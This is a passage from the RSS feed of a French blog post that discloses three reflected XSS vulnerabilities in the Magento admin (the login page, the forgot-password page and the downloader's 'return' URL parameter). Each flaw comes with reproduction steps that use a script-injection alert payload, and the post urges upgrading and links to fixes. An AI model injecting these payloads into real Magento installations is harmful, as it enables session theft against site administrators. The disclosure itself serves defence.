<li>Entrez dans le champs &laquo;&nbsp;nom d&#8217;utilisateur&nbsp;&raquo; : <strong>&laquo;&nbsp;&gt;&lt;script&gt;alert(123)&lt;/script&gt;<br />
</strong>(attention, le blog est susceptible d&#8217;encoder les caractères spéciaux, il faut donc le taper &laquo;&nbsp;à la main&nbsp;&raquo;, le copier/coller ne marchera peut être pas)</li>
<li>Entez n&#8217;importe quoi dans le champ &laquo;&nbsp;mot de passe&nbsp;&raquo;</li>
<li>Cliquez sur &laquo;&nbsp;Identifiant&nbsp;&raquo; et roohhhhh, une boite javascript qui vous confirme que le code dans le champ a été renvoyé sans encodage et donc exécuté par votre navigateur&#8230;</li>
</ol>
<p>(j&#8217;ai également vérifié sur une version 1.0.x et ca marche donc il y a de grande chance que toutes les versions entre 1.0.x et 1.2.0 soient vulnérables)</p>
<h4><em>Vulnérabilité 2, page &laquo;&nbsp;J&#8217;ai oublié mon mot de passe&nbsp;&raquo;</em></h4>
<p>(déjà dans le principe, si tu oublie ton mot de passe admin du nackoffice, on se demande s&#8217;il est raisonnable que tu es accès à ce genre de fonction&#8230;)</p>
<ol>
<li>on se rend sur http://monmagento/index.php/admin/index/forgotpassword</li>
<li>Dans la case email on met : <strong>&laquo;&nbsp;&gt;&lt;script&gt;alert(123)&lt;/script&gt;<br />
</strong>(attention, le blog est susceptible d&#8217;encoder les caractères spéciaux, il faut donc le taper &laquo;&nbsp;à la main&nbsp;&raquo;, le copier/coller ne marchera peut être pas)</li>
<li>on clique sur &laquo;&nbsp;retrieve password&nbsp;&raquo; et hop, une boite javascript qui annonce qu&#8217;on est vulnérable</li>
</ol>
<p>Allez, quand on a un filon on le lâche pas,<em><br />
</em></p>
<h4><em> Vulnérabilité 3, page &laquo;&nbsp;Magento Connect Downloader&nbsp;&raquo;</em></h4>
<p>Là c&#8217;est directement dans l&#8217;URL qu&#8217;on peut encoder le XSS :<br />
<strong>http://monmagento/downloader/?return=%22%3Cscript%3Ealert(123)%3C/script%3E</strong><br />
(attention, le blog est susceptible d&#8217;encoder les caractères spéciaux, il faut donc le taper &laquo;&nbsp;à la main&nbsp;&raquo;, le copier/coller ne marchera peut être pas)<br />
et vous connaissez l&#8217;histoire de la boite javascript tout ça tout ça&#8230;</p>
<p>Bon, allez je vous laisse, j&#8217;ai des clients à prévenir qu&#8217;il faut upgrader leurs Magento <img src='http://www.wikigento.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Conclusion, comme d&#8217;habitude : la sécurité à un coût mais elle n&#8217;a pas de prix !</p>
<h2><span style="text-decoration: underline;">Les correctifs ont été déplacés dans un post dédié : <a href="http://www.wikigento.com/?p=458" target="_blank">ICI</a></span></h2>
<p><em></em></p>
]]></content:encoded>
			<wfw:commentRss>http://www.wikigento.com/securite/alerte-3-failles-xss-dans-magento/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
	</channel>
</rss>

